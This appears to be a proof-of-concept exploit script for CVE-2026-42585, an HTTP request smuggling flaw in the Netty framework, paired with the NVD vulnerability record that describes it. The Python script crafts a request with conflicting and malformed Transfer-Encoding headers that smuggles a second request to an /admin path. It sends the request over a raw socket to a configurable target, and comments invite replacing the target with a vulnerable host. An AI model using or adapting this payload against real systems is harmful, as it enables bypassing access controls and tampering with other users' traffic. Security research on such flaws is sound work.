CVE-2026-42585

import socket # Exploit Title: Netty HTTP Request Smuggling (CVE-2026-42585) # Description: PoC demonstrating request smuggling via malformed Transfer-Encoding header def send_smuggling_request(host, port): # Constructing a malicious HTTP request with obfuscated Transfer-Encoding header # The space before the colon or specific casing might bypass strict checks but confuse Netty payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 60\r\n" "Transfer-Encoding: chunked\r\n" # Standard header "Transfer-Encoding : chunked\r\n" # Malformed header with space (Obfuscation) "\r\n" "0\r\n" # Valid chunk ending for the first TE "\r\n" "GPOST /admin HTTP/1.1\r\n" # Smuggled request f"Host: {host}\r\n" "Content-Length: 10\r\n" "\r\n" "param=1\r\n" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode('utf-8')) print(f"[+] Payload sent to {host}:{port}") response = s.recv(4096) print("[+] Response received:") print(response.decode('utf-8', errors='ignore')) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "127.0.0.1" # Replace with vulnerable target target_port = 8080 # Replace with vulnerable port send_smuggling_request(target_host, target_port)

{"cve": {"id": "CVE-2026-42585", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:24.187", "lastModified": "2026-05-14T16:26:50.047", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv", "source": "[email protected]"}]}}